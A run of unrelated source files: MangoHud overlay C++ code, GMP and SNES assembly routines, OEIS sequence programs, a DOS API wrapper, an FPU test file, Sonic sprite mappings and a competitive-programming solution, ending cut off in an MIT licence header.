float x = (data.color_med.x - data.color_low.x) * diff; float y = (data.color_med.y - data.color_low.y) * diff; float z = (data.color_med.z - data.color_low.z) * diff; return ImVec4(data.color_low.x + x, data.color_low.y + y, data.color_low.z + z, 1.0); } } void render_imgui(swapchain_stats& data, struct overlay_params& params, ImVec2& window_size, bool is_vulkan) { HUDElements.sw_stats = &data; HUDElements.params = &params; HUDElements.is_vulkan = is_vulkan; ImGui::GetIO().FontGlobalScale = params.font_scale; if(!logger) logger = std::make_unique<Logger>(&params); static float ralign_width = 0, old_scale = 0; window_size = ImVec2(params.width, params.height); unsigned height = ImGui::GetIO().DisplaySize.y; auto now = Clock::now(); if (old_scale != params.font_scale) { HUDElements.ralign_width = ralign_width = ImGui::CalcTextSize("A").x * 4 /* characters */; old_scale = params.font_scale; } if (!params.no_display){ ImGui::Begin("Main", &gui_open, ImGuiWindowFlags_NoDecoration); ImGui::BeginTable("hud", params.table_columns, ImGuiTableFlags_NoClip); HUDElements.place = 0; for (auto& func : HUDElements.ordered_functions){ func.first(); HUDElements.place += 1; } ImGui::EndTable(); if(logger->is_active()) ImGui::GetWindowDrawList()->AddCircleFilled(ImVec2(data.main_window_pos.x + window_size.x - 15, data.main_window_pos.y + 15), 10, params.engine_color, 20); window_size = ImVec2(window_size.x, ImGui::GetCursorPosY() + 10.0f); ImGui::End(); if((now - logger->last_log_end()) < 12s) render_benchmark(data, params, window_size, height, now); } } void init_cpu_stats(overlay_params& params) { #ifdef __linux__ auto& enabled = params.enabled; enabled[OVERLAY_PARAM_ENABLED_cpu_stats] = cpuStats.Init() && enabled[OVERLAY_PARAM_ENABLED_cpu_stats]; enabled[OVERLAY_PARAM_ENABLED_cpu_temp] = cpuStats.GetCpuFile() && enabled[OVERLAY_PARAM_ENABLED_cpu_temp]; enabled[OVERLAY_PARAM_ENABLED_cpu_power] = cpuStats.InitCpuPowerData() && enabled[OVERLAY_PARAM_ENABLED_cpu_power]; #endif } struct pci_bus { int domain; int bus; int slot; int func; }; void init_gpu_stats(uint32_t& vendorID, overlay_params& params) { //if (!params.enabled[OVERLAY_PARAM_ENABLED_gpu_stats]) // return; pci_bus pci; bool pci_bus_parsed = false; const char *pci_dev = nullptr; if (!params.pci_dev.empty()) pci_dev = params.pci_dev.c_str(); // for now just checks if pci bus parses correctly, if at all necessary if (pci_dev) { if (sscanf(pci_dev, "%04x:%02x:%02x.%x", &pci.domain, &pci.bus, &pci.slot, &pci.func) == 4) { pci_bus_parsed = true; // reformat back to sysfs file name's and nvml's expected format // so config file param's value format doesn't have to be as strict std::stringstream ss; ss << std::hex << std::setw(4) << std::setfill('0') << pci.domain << ":" << std::setw(2) << pci.bus << ":" << std::setw(2) << pci.slot << "." << std::setw(1) << pci.func; params.pci_dev = ss.str(); pci_dev = params.pci_dev.c_str(); SPDLOG_DEBUG("PCI device ID: '{}'", pci_dev); } else { SPDLOG_ERROR("Failed to parse PCI device ID: '{}'", pci_dev); SPDLOG_ERROR("Specify it as 'domain:bus:slot.func'"); } } // NVIDIA or Intel but maybe has Optimus if (vendorID == 0x8086 || vendorID == 0x10de) { if(checkNvidia(pci_dev)) vendorID = 0x10de; else params.enabled[OVERLAY_PARAM_ENABLED_gpu_stats] = false; } #ifdef __linux__ if (vendorID == 0x8086 || vendorID == 0x1002 || gpu.find("Radeon") != std::string::npos || gpu.find("AMD") != std::string::npos) { string path; string drm = "/sys/class/drm/"; getAmdGpuInfo_actual = getAmdGpuInfo; bool using_libdrm = false; auto dirs = ls(drm.c_str(), "card"); for (auto& dir : dirs) { path = drm + dir; SPDLOG_DEBUG("amdgpu path check: {}/device/vendor", path); string device = read_line(path + "/device/device"); deviceID = strtol(device.c_str(), NULL, 16); string line = read_line(path + "/device/vendor"); trim(line); if (line != "0x1002" || !file_exists(path + "/device/gpu_busy_percent")) continue; if (pci_bus_parsed && pci_dev) { string pci_device = read_symlink((path + "/device").c_str()); SPDLOG_DEBUG("PCI device symlink: '{}'", pci_device); if (!ends_with(pci_device, pci_dev)) { SPDLOG_DEBUG("skipping GPU, no PCI ID match"); continue; } } SPDLOG_DEBUG("using amdgpu path: {}", path); #ifdef HAVE_LIBDRM_AMDGPU int idx = -1; //TODO make neater int res = sscanf(path.c_str(), "/sys/class/drm/card%d", &idx); std::string dri_path = "/dev/dri/card" + std::to_string(idx); if (!params.enabled[OVERLAY_PARAM_ENABLED_force_amdgpu_hwmon] && res == 1 && amdgpu_open(dri_path.c_str())) { vendorID = 0x1002; using_libdrm = true; getAmdGpuInfo_actual = getAmdGpuInfo_libdrm; amdgpu_set_sampling_period(params.fps_sampling_period); SPDLOG_DEBUG("Using libdrm"); // fall through and open sysfs handles for fallback or check DRM version beforehand } else if (!params.enabled[OVERLAY_PARAM_ENABLED_force_amdgpu_hwmon]) { SPDLOG_ERROR("Failed to open device '/dev/dri/card{}' with libdrm, falling back to using hwmon sysfs.", idx); } #endif path += "/device"; if (!amdgpu.busy) amdgpu.busy = fopen((path + "/gpu_busy_percent").c_str(), "r"); if (!amdgpu.vram_total) amdgpu.vram_total = fopen((path + "/mem_info_vram_total").c_str(), "r"); if (!amdgpu.vram_used) amdgpu.vram_used = fopen((path + "/mem_info_vram_used").c_str(), "r"); path += "/hwmon/"; string tempFolder; if (find_folder(path, "hwmon", tempFolder)) { if (!amdgpu.core_clock) amdgpu.core_clock = fopen((path + tempFolder + "/freq1_input").c_str(), "r"); if (!amdgpu.memory_clock) amdgpu.memory_clock = fopen((path + tempFolder + "/freq2_input").c_str(), "r"); if (!amdgpu.temp) amdgpu.temp = fopen((path + tempFolder + "/temp1_input").c_str(), "r"); if (!amdgpu.power_usage) amdgpu.power_usage = fopen((path + tempFolder + "/power1_average").c_str(), "r"); vendorID = 0x1002; break; } } // don't bother then if (!using_libdrm && !amdgpu.busy && !amdgpu.temp && !amdgpu.vram_total && !amdgpu.vram_used) { params.enabled[OVERLAY_PARAM_ENABLED_gpu_stats] = false; } } #endif if (!params.permit_upload) SPDLOG_INFO("Uploading is disabled (permit_upload = 0)"); } void init_system_info(){ #ifdef __linux__ const char* ld_preload = getenv("LD_PRELOAD"); if (ld_preload) unsetenv("LD_PRELOAD"); ram = exec("cat /proc/meminfo | grep 'MemTotal' | awk '{print $2}'"); trim(ram); cpu = exec("cat /proc/cpuinfo | grep 'model name' | tail -n1 | sed 's/^.*: //' | sed 's/([^)]*)/()/g' | tr -d '(/)'"); trim(cpu); kernel = exec("uname -r"); trim(kernel); os = exec("cat /etc/*-release | grep 'PRETTY_NAME' | cut -d '=' -f 2-"); os.erase(remove(os.begin(), os.end(), '\"' ), os.end()); trim(os); cpusched = read_line("/sys/devices/system/cpu/cpu0/cpufreq/scaling_governor"); const char* mangohud_recursion = getenv("MANGOHUD_RECURSION"); if (!mangohud_recursion) { setenv("MANGOHUD_RECURSION", "1", 1); driver = exec("glxinfo -B | grep 'OpenGL version' | sed 's/^.*: //' | sed 's/([^()]*)//g' | tr -s ' '"); trim(driver); unsetenv("MANGOHUD_RECURSION"); } else { driver = "MangoHud glxinfo recursion detected"; } // Get WINE version wineProcess = get_exe_path(); auto n = wineProcess.find_last_of('/'); string preloader = wineProcess.substr(n + 1); if (preloader == "wine-preloader" || preloader == "wine64-preloader") { // Check if using Proton if (wineProcess.find("/dist/bin/wine") != std::string::npos || wineProcess.find("/files/bin/wine") != std::string::npos) { stringstream ss; ss << dirname((char*)wineProcess.c_str()) << "/../../version"; string protonVersion = ss.str(); ss.str(""); ss.clear(); ss << read_line(protonVersion); std::getline(ss, wineVersion, ' '); // skip first number string std::getline(ss, wineVersion, ' '); trim(wineVersion); string toReplace = "proton-"; size_t pos = wineVersion.find(toReplace); if (pos != std::string::npos) { // If found replace wineVersion.replace(pos, toReplace.length(), "Proton "); } else { // If not found insert for non official proton builds wineVersion.insert(0, "Proton "); } } else { char *dir = dirname((char*)wineProcess.c_str()); stringstream findVersion; findVersion << "\"" << dir << "/wine\" --version"; const char *wine_env = getenv("WINELOADERNOEXEC"); if (wine_env) unsetenv("WINELOADERNOEXEC"); wineVersion = exec(findVersion.str()); std::cout << "WINE VERSION = " << wineVersion << "\n"; if (wine_env) setenv("WINELOADERNOEXEC", wine_env, 1); } } else { wineVersion = ""; } // check for gamemode and vkbasalt fs::path path("/proc/self/map_files/"); for (auto& p : fs::directory_iterator(path)) { auto filename = p.path().string(); auto sym = read_symlink(filename.c_str()); if (sym.find("gamemode") != std::string::npos) HUDElements.gamemode_bol = true; if (sym.find("vkbasalt") != std::string::npos) HUDElements.vkbasalt_bol = true; if (HUDElements.gamemode_bol && HUDElements.vkbasalt_bol) break; } if (ld_preload) setenv("LD_PRELOAD", ld_preload, 1); SPDLOG_DEBUG("Ram:{}", ram); SPDLOG_DEBUG("Cpu:{}", cpu); SPDLOG_DEBUG("Kernel:{}", kernel); SPDLOG_DEBUG("Os:{}", os); SPDLOG_DEBUG("Gpu:{}", gpu); SPDLOG_DEBUG("Driver:{}", driver); SPDLOG_DEBUG("CPU Scheduler:{}", cpusched); #endif } void get_device_name(int32_t vendorID, int32_t deviceID, struct swapchain_stats& sw_stats) { #ifdef __linux__ if (pci_ids.find(vendorID) == pci_ids.end()) parse_pciids(); string desc = pci_ids[vendorID].second[deviceID].desc; size_t position = desc.find("["); if (position != std::string::npos) { desc = desc.substr(position); string chars = "[]"; for (char c: chars) desc.erase(remove(desc.begin(), desc.end(), c), desc.end()); } gpu = sw_stats.gpuName = desc; trim(sw_stats.gpuName); trim(gpu); #endif }
dnl AMD K7 mpn_lshift -- mpn left shift. dnl Copyright 1999, 2000, 2001, 2002 Free Software Foundation, Inc. dnl dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or dnl modify it under the terms of the GNU Lesser General Public License as dnl published by the Free Software Foundation; either version 3 of the dnl License, or (at your option) any later version. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY; without even the implied warranty of dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU dnl Lesser General Public License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C K7: 1.21 cycles/limb (at 16 limbs/loop). dnl K7: UNROLL_COUNT cycles/limb dnl 4 1.51 dnl 8 1.26 dnl 16 1.21 dnl 32 1.2 dnl Maximum possible with the current code is 64. deflit(UNROLL_COUNT, 16) C mp_limb_t mpn_lshift (mp_ptr dst, mp_srcptr src, mp_size_t size, C unsigned shift); C C Shift src,size left by shift many bits and store the result in dst,size. C Zeros are shifted in at the right. The bits shifted out at the left are C the return value. C C The comments in mpn_rshift apply here too. ifdef(`PIC',` deflit(UNROLL_THRESHOLD, 10) ',` deflit(UNROLL_THRESHOLD, 10) ') defframe(PARAM_SHIFT,16) defframe(PARAM_SIZE, 12) defframe(PARAM_SRC, 8) defframe(PARAM_DST, 4) defframe(SAVE_EDI, -4) defframe(SAVE_ESI, -8) defframe(SAVE_EBX, -12) deflit(SAVE_SIZE, 12) TEXT ALIGN(32) PROLOGUE(mpn_lshift) deflit(`FRAME',0) movl PARAM_SIZE, %eax movl PARAM_SRC, %edx subl $SAVE_SIZE, %esp deflit(`FRAME',SAVE_SIZE) movl PARAM_SHIFT, %ecx movl %edi, SAVE_EDI movl PARAM_DST, %edi decl %eax jnz L(more_than_one_limb) movl (%edx), %edx shldl( %cl, %edx, %eax) C eax was decremented to zero shll %cl, %edx movl %edx, (%edi) movl SAVE_EDI, %edi addl $SAVE_SIZE, %esp ret C ----------------------------------------------------------------------------- L(more_than_one_limb): C eax size-1 C ebx C ecx shift C edx src C esi C edi dst C ebp movd PARAM_SHIFT, %mm6 movd (%edx,%eax,4), %mm5 C src high limb cmp $UNROLL_THRESHOLD-1, %eax jae L(unroll) negl %ecx movd (%edx), %mm4 C src low limb addl $32, %ecx movd %ecx, %mm7 L(simple_top): C eax loop counter, limbs C ebx C ecx C edx src C esi C edi dst C ebp C C mm0 scratch C mm4 src low limb C mm5 src high limb C mm6 shift C mm7 32-shift movq -4(%edx,%eax,4), %mm0 decl %eax psrlq %mm7, %mm0 movd %mm0, 4(%edi,%eax,4) jnz L(simple_top) psllq %mm6, %mm5 psllq %mm6, %mm4 psrlq $32, %mm5 movd %mm4, (%edi) C dst low limb movd %mm5, %eax C return value movl SAVE_EDI, %edi addl $SAVE_SIZE, %esp emms ret C ----------------------------------------------------------------------------- ALIGN(16) L(unroll): C eax size-1 C ebx (saved) C ecx shift C edx src C esi C edi dst C ebp C C mm5 src high limb, for return value C mm6 lshift movl %esi, SAVE_ESI movl %ebx, SAVE_EBX leal -4(%edx,%eax,4), %edx C &src[size-2] testb $4, %dl movq (%edx), %mm1 C src high qword jz L(start_src_aligned) C src isn't aligned, process high limb (marked xxx) separately to C make it so C C source -4(edx,%eax,4) C | C +-------+-------+-------+-- C | xxx | C +-------+-------+-------+-- C 0mod8 4mod8 0mod8 C C dest -4(edi,%eax,4) C | C +-------+-------+-- C | xxx | | C +-------+-------+-- psllq %mm6, %mm1 subl $4, %edx movl %eax, PARAM_SIZE C size-1 psrlq $32, %mm1 decl %eax C size-2 is new size-1 movd %mm1, 4(%edi,%eax,4) movq (%edx), %mm1 C new src high qword L(start_src_aligned): leal -4(%edi,%eax,4), %edi C &dst[size-2] psllq %mm6, %mm5 testl $4, %edi psrlq $32, %mm5 C return value jz L(start_dst_aligned) C dst isn't aligned, subtract 4 bytes to make it so, and pretend the C shift is 32 bits extra. High limb of dst (marked xxx) handled C here separately. C C source %edx C +-------+-------+-- C | mm1 | C +-------+-------+-- C 0mod8 4mod8 C C dest %edi C +-------+-------+-------+-- C | xxx | C +-------+-------+-------+-- C 0mod8 4mod8 0mod8 movq %mm1, %mm0 psllq %mm6, %mm1 addl $32, %ecx C shift+32 psrlq $32, %mm1 movd %mm1, 4(%edi) movq %mm0, %mm1 subl $4, %edi movd %ecx, %mm6 C new lshift L(start_dst_aligned): decl %eax C size-2, two last limbs handled at end movq %mm1, %mm2 C copy of src high qword negl %ecx andl $-2, %eax C round size down to even addl $64, %ecx movl %eax, %ebx negl %eax andl $UNROLL_MASK, %eax decl %ebx shll %eax movd %ecx, %mm7 C rshift = 64-lshift ifdef(`PIC',` call L(pic_calc) L(here): ',` leal L(entry) (%eax,%eax,4), %esi ') shrl $UNROLL_LOG2, %ebx C loop counter leal ifelse(UNROLL_BYTES,256,128) -8(%edx,%eax,2), %edx leal ifelse(UNROLL_BYTES,256,128) (%edi,%eax,2), %edi movl PARAM_SIZE, %eax C for use at end jmp *%esi ifdef(`PIC',` L(pic_calc): C See mpn/x86/README about old gas bugs leal (%eax,%eax,4), %esi addl $L(entry)-L(here), %esi addl (%esp), %esi ret_internal ') C ----------------------------------------------------------------------------- ALIGN(32) L(top): C eax size (for use at end) C ebx loop counter C ecx rshift C edx src C esi computed jump C edi dst C ebp C C mm0 scratch C mm1 \ carry (alternating, mm2 first) C mm2 / C mm6 lshift C mm7 rshift C C 10 code bytes/limb C C The two chunks differ in whether mm1 or mm2 hold the carry. C The computed jump puts the initial carry in both mm1 and mm2. L(entry): deflit(CHUNK_COUNT, 4) forloop(i, 0, UNROLL_COUNT/CHUNK_COUNT-1, ` deflit(`disp0', eval(-i*CHUNK_COUNT*4 ifelse(UNROLL_BYTES,256,-128))) deflit(`disp1', eval(disp0 - 8)) Zdisp( movq, disp0,(%edx), %mm0) psllq %mm6, %mm2 movq %mm0, %mm1 psrlq %mm7, %mm0 por %mm2, %mm0 Zdisp( movq, %mm0, disp0,(%edi)) Zdisp( movq, disp1,(%edx), %mm0) psllq %mm6, %mm1 movq %mm0, %mm2 psrlq %mm7, %mm0 por %mm1, %mm0 Zdisp( movq, %mm0, disp1,(%edi)) ') subl $UNROLL_BYTES, %edx subl $UNROLL_BYTES, %edi decl %ebx jns L(top) define(`disp', `m4_empty_if_zero(eval($1 ifelse(UNROLL_BYTES,256,-128)))') L(end): testb $1, %al movl SAVE_EBX, %ebx psllq %mm6, %mm2 C wanted left shifted in all cases below movd %mm5, %eax movl SAVE_ESI, %esi jz L(end_even) L(end_odd): C Size odd, destination was aligned. C C source edx+8 edx+4 C --+---------------+-------+ C | mm2 | | C --+---------------+-------+ C C dest edi C --+---------------+---------------+-------+ C | written | | | C --+---------------+---------------+-------+ C C mm6 = shift C mm7 = ecx = 64-shift C Size odd, destination was unaligned. C C source edx+8 edx+4 C --+---------------+-------+ C | mm2 | | C --+---------------+-------+ C C dest edi C --+---------------+---------------+ C | written | | C --+---------------+---------------+ C C mm6 = shift+32 C mm7 = ecx = 64-(shift+32) C In both cases there's one extra limb of src to fetch and combine C with mm2 to make a qword at (%edi), and in the aligned case C there's an extra limb of dst to be formed from that extra src limb C left shifted. movd disp(4) (%edx), %mm0 testb $32, %cl movq %mm0, %mm1 psllq $32, %mm0 psrlq %mm7, %mm0 psllq %mm6, %mm1 por %mm2, %mm0 movq %mm0, disp(0) (%edi) jz L(end_odd_unaligned) movd %mm1, disp(-4) (%edi) L(end_odd_unaligned): movl SAVE_EDI, %edi addl $SAVE_SIZE, %esp emms ret L(end_even): C Size even, destination was aligned. C C source edx+8 C --+---------------+ C | mm2 | C --+---------------+ C C dest edi C --+---------------+---------------+ C | written | | C --+---------------+---------------+ C C mm6 = shift C mm7 = ecx = 64-shift C Size even, destination was unaligned. C C source edx+8 C --+---------------+ C | mm2 | C --+---------------+ C C dest edi+4 C --+---------------+-------+ C | written | | C --+---------------+-------+ C C mm6 = shift+32 C mm7 = ecx = 64-(shift+32) C The movq for the aligned case overwrites the movd for the C unaligned case. movq %mm2, %mm0 psrlq $32, %mm2 testb $32, %cl movd %mm2, disp(4) (%edi) jz L(end_even_unaligned) movq %mm0, disp(0) (%edi) L(end_even_unaligned): movl SAVE_EDI, %edi addl $SAVE_SIZE, %esp emms ret EPILOGUE()
#include <iostream> #include <cstdio> #include <algorithm> #include <cstring> #include <sstream> #include <vector> #include <iomanip> #include <cmath> #include <set> #include <map> #include <queue> #include <climits> #include <cassert> using namespace std; typedef long long LL; typedef pair<int,int> pii; #define pb push_back #define mp make_pair #define sz size() #define ln length() #define forr(i,a,b) for(int i=a;i<b;i++) #define rep(i,n) forr(i,0,n) #define all(v) v.begin(),v.end() #define uniq(v) sort(all(v));v.erase(unique(all(v)),v.end()) #define clr(a) memset(a,0,sizeof a) #define debug if(1) #define debugoff if(0) #define print(x) cerr << x << " "; #define pn() cerr << endl; #define trace1(x) cerr << #x << ": " << x << endl; #define trace2(x, y) cerr << #x << ": " << x << " | " << #y << ": " << y << endl; #define trace3(x, y, z) cerr << #x << ": " << x << " | " << #y << ": " << y << " | " << #z << ": " << z << endl; #define MAX 500010 #define MOD 1000000007 int arr[MAX],mark[MAX]; int main() { ios::sync_with_stdio(false); int n; LL sum = 0,S = 0; cin>>n; rep(i,n){ cin>>arr[i]; sum += arr[i]; } if(sum % 3 != 0){ cout<<0<<endl; return 0; } sum /= 3; for(int i=n-1;i>=0;i--){ S += arr[i]; if(S == sum) mark[i] = 1; } for(int i=n-2;i>=0;i--) mark[i] += mark[i+1]; S = 0; LL ways = 0; for(int i=0;i<n;i++) { S += arr[i]; if(S == sum) ways += (mark[i+2]); } cout<<ways<<endl; return 0; }
;/*! ; @file ; ; @brief BvsModeUndo DOS wrapper ; ; (c) osFree Project 2021, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ;* 0 NO_ERROR ;*421 ERROR_VIO_INVALID_PARMS ;*422 ERROR_VIO_FUNCTION_OWNED ;*423 ERROR_VIO_RETURN ;*424 ERROR_SCS_INVALID_FUNCTION ;*428 ERROR_VIO_NO_SAVE_RESTORE_THD ;*430 ERROR_VIO_ILLEGAL_DURING_POPUP ;*465 ERROR_VIO_DETACHED ;*494 ERROR_VIO_EXTENDED_SG ; ; @todo: add indicator range check ; ;*/ .8086 ; Helpers INCLUDE helpers.inc INCLUDE dos.inc INCLUDE bseerr.inc _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 @BVSPROLOG BVSMODEUNDO Reserved DW ? ;Reserved (must be zero) KillIndic DW ? ;Terminate indicator OwnerIndic DW ? ;Ownership indicator @BVSSTART BVSMODEUNDO MOV AX,ERROR_INVALID_PARAMETER XOR BX, BX CMP BX, WORD PTR [DS:BP].ARGS.RESERVED JNZ EXIT XOR AX, AX ; ALL OK EXIT: @BVSEPILOG BVSMODEUNDO _TEXT ENDS END
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; FADDP FLDPI FLDPI FLDPI ;TEST_BEGIN_RECORDING fsubrp st2, st0 ;TEST_END_RECORDING
; A199559: 2*9^n+1. ; 3,19,163,1459,13123,118099,1062883,9565939,86093443,774840979,6973568803,62762119219,564859072963,5083731656659,45753584909923,411782264189299,3706040377703683,33354363399333139,300189270593998243,2701703435345984179,24315330918113857603,218837978263024718419,1969541804367222465763,17725876239305002191859,159532886153745019726723,1435795975383705177540499,12922163778453346597864483,116299474006080119380780339,1046695266054721074427023043,9420257394492489669843207379 mov $1,9 pow $1,$0 mul $1,96 sub $1,96 div $1,48 add $1,3 mov $0,$1
; --------------------------------------------------------------------------- ; Sprite mappings - walls (GHZ) ; --------------------------------------------------------------------------- Map_Edge_internal: dc.w M_Edge_Shadow-Map_Edge_internal dc.w M_Edge_Light-Map_Edge_internal dc.w M_Edge_Dark-Map_Edge_internal M_Edge_Shadow: dc.b 4 dc.b $E0, 5, 0, 4, $F8 ; light with shadow dc.b $F0, 5, 0, 8, $F8 dc.b 0, 5, 0, 8, $F8 dc.b $10, 5, 0, 8, $F8 M_Edge_Light: dc.b 4 dc.b $E0, 5, 0, 8, $F8 ; light with no shadow dc.b $F0, 5, 0, 8, $F8 dc.b 0, 5, 0, 8, $F8 dc.b $10, 5, 0, 8, $F8 M_Edge_Dark: dc.b 4 dc.b $E0, 5, 0, 0, $F8 ; all shadow dc.b $F0, 5, 0, 0, $F8 dc.b 0, 5, 0, 0, $F8 dc.b $10, 5, 0, 0, $F8 even
; A168230: a(n) = n + 2 - a(n-1) for n>1; a(1) = 0. ; 0,4,1,5,2,6,3,7,4,8,5,9,6,10,7,11,8,12,9,13,10,14,11,15,12,16,13,17,14,18,15,19,16,20,17,21,18,22,19,23,20,24,21,25,22,26,23,27,24,28,25,29,26,30,27,31,28,32,29,33,30,34,31,35,32,36,33,37,34,38,35,39,36,40,37,41,38,42,39,43,40,44,41,45,42,46,43,47,44,48,45,49,46,50,47,51,48,52,49,53 mov $1,$0 mod $1,2 mul $1,8 add $0,$1 div $0,2
; A157620: 781250n^2 - 1107500n + 392499. ; 66249,1302499,4101249,8462499,14386249,21872499,30921249,41532499,53706249,67442499,82741249,99602499,118026249,138012499,159561249,182672499,207346249,233582499,261381249,290742499,321666249,354152499,388201249,423812499,460986249,499722499,540021249,581882499,625306249,670292499,716841249,764952499,814626249,865862499,918661249,973022499,1028946249,1086432499,1145481249,1206092499,1268266249,1332002499,1397301249,1464162499,1532586249,1602572499,1674121249,1747232499,1821906249,1898142499,1975941249,2055302499,2136226249,2218712499,2302761249,2388372499,2475546249,2564282499,2654581249,2746442499,2839866249,2934852499,3031401249,3129512499,3229186249,3330422499,3433221249,3537582499,3643506249,3750992499,3860041249,3970652499,4082826249,4196562499,4311861249,4428722499,4547146249,4667132499,4788681249,4911792499,5036466249,5162702499,5290501249,5419862499,5550786249,5683272499,5817321249,5952932499,6090106249,6228842499,6369141249,6511002499,6654426249,6799412499,6945961249,7094072499,7243746249,7394982499,7547781249,7702142499 seq $0,157619 ; 31250n - 22150. pow $0,2 sub $0,82810000 div $0,1562500 mul $0,1250 add $0,66249
;; Division routines ;; ----------------- ;; ;; included by `routines/math.s` .code .I16 ROUTINE Divide_S16Y_U16X CPY #$8000 IF_GE PHP REP #$30 .A16 TYA NEG16 TAY JSR Divide_U16Y_U16X ; Result is negative TYA NEG16 TAY PLP RTS ENDIF BRA Divide_U16Y_U16X .I16 ROUTINE Divide_U16Y_S16X CPX #$8000 IF_GE PHP REP #$30 .A16 TXA NEG16 TAX JSR Divide_U16Y_U16X ; Result is negative TYA NEG16 TAY PLP RTS ENDIF BRA Divide_U16Y_U16X .I16 ROUTINE Divide_S16Y_S16X CPY #$8000 IF_GE PHP REP #$30 .A16 ; dividend Negative TYA NEG16 TAY CPX #$8000 IF_GE ; divisor Negative TXA NEG16 TAX JSR Divide_U16Y_U16X ; Result is positive PLP RTS ENDIF ; Else - divisor is positive JSR Divide_U16Y_U16X ; Result is negative TYA NEG16 TAY PLP RTS ENDIF ; Else - dividend is positive CPX #$8000 IF_GE PHP REP #$30 .A16 TXA NEG16 TAX JSR Divide_U16Y_U16X ; Result is negative TYA NEG16 TAY PLP RTS ENDIF .assert * = Divide_U16Y_U16X, lderror, "Bad Flow" ; INPUT: ; Y: 16 bit unsigned Dividend ; X: 16 bit unsigned Divisor ; ; OUTPUT: ; Y: 16 bit unsigned Result ; X: 16 bit unsigned Remainder ; ; Timings: ; Y < 256: 44 cycles ; tmp dp: 474 - 517 cycles ; tmp addr: 508 - 572 cycles ; ; You could save 152 (dp) or 169 (addr) cycles if the loop is unfolded ; But increases size by 186 (dp) or 199 (addr) bytes. ; ; if divisor < 256 ; calculate using SNES registers ; else ; remainder = 0 ; repeat 16 times ; remainder << 1 | MSB(dividend) ; dividend << 1 ; if (remainder >= divisor) ; remainder -= divisor ; result++ .I16 ROUTINE Divide_U16Y_U16X .scope counter := mathTmp1 divisor := mathTmp3 PHP CPX #$0100 IF_GE REP #$20 .A16 STX divisor LDX #0 ; Remainder LDA #16 STA counter REPEAT TYA ; Dividend / result ASL A TAY TXA ; Remainder ROL A TAX SUB divisor IF_C_SET ; C set if positive TAX INY ; Result ENDIF DEC counter UNTIL_ZERO PLP RTS ENDIF ; Otherwise Use registers instead STY WRDIV SEP #$30 ; 8 bit Index .A8 .I8 STX WRDIVB ; Wait 16 Cycles PHD ; 4 PLD ; 5 PLP ; 4 .I16 BRA Divide_U16X_U8A_Result ; 3 ; Endif .endscope ; INPUT: ; Y: 16 bit unsigned Dividend ; A: 8 bit unsigned Divisor ; ; OUTPUT: ; Y: 16 bit unsigned Result ; X: 16 bit unsigned Remainder .A8 .I16 ROUTINE Divide_U16Y_U8A STY WRDIV STA WRDIVB ; Load to SNES division registers ; Wait 16 Cycles PHD ; 4 PLD ; 5 PHB ; 3 PLB ; 4 Divide_U16X_U8A_Result: LDY RDDIV ; result LDX RDMPY ; remainder RTS ROUTINE Divide_S32_S32 PHP REP #$30 .A16 .I16 LDA dividend32 + 2 IF_MINUS EOR #$FFFF STA dividend32 + 2 LDA dividend32 EOR #$FFFF STA dividend32 INC32 dividend32 LDA divisor32 + 2 IF_MINUS ; divisor is negative EOR #$FFFF STA divisor32 + 2 LDA divisor32 EOR #$FFFF STA divisor32 INC32 divisor32 BRA _Divide_U32_U32_AfterPHP ENDIF ; Else, divisor is positive JSR Divide_U32_U32 ; only 1 negative, result negative NEG32 result32 PLP RTS ENDIF ; dividend is positive LDA divisor32 + 2 IF_MINUS ; divisor is negative EOR #$FFFF STA divisor32 + 2 LDA divisor32 EOR #$FFFF STA divisor32 INC32 divisor32 JSR Divide_U32_U32 ; only 1 negative, result negative NEG32 result32 PLP RTS ENDIF BRA _Divide_U32_U32_AfterPHP ; remainder = 0 ; Repeat 32 times: ; remainder << 1 | MSB(dividend) ; dividend << 1 ; if (remainder >= divisor) ; remainder -= divisor ; result++ ROUTINE Divide_U32_U32 PHP REP #$30 .A16 .I16 _Divide_U32_U32_AfterPHP: STZ remainder32 STZ remainder32 + 2 FOR_X #32, DEC, #0 ASL dividend32 ROL dividend32 + 2 ROL remainder32 ROL remainder32 + 2 LDA remainder32 SEC SBC divisor32 TAY LDA remainder32 + 2 SBC divisor32 + 2 IF_C_SET STY remainder32 STA remainder32 + 2 INC result32 ; result32 = dividend32, no overflow possible ENDIF NEXT PLP RTS ; INPUT: ; dividend32: uint32 dividend ; A : 8 bit divisor ; ; OUTPUT: ; result32: uint32 result ; A: uint8 remainder ROUTINE Divide_U32_U8A PHP SEP #$30 ; 8 bit A, 8 bit Index .A8 .I8 TAY ; divisor LDA #0 ; remainder LDX #3 ; loop bytes 3 to (including) 0 REPEAT STA WRDIVH ; remainder from previous division (always < divisor) LDA dividend32, X STA WRDIVL STY WRDIVB ; Load to SNES division registers ; Wait 16 Cycles PHD ; 4 PLD ; 5 PHB ; 3 PLB ; 4 LDA RDDIV STA result32, X ; store result (8 bit as remainder < divisor) LDA RDMPY ; remainder (also 8 bit) DEX UNTIL_MINUS PLP RTS
/* * Copyright (c) 2015 Cryptonomex, Inc., and contributors. * * The MIT License * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN 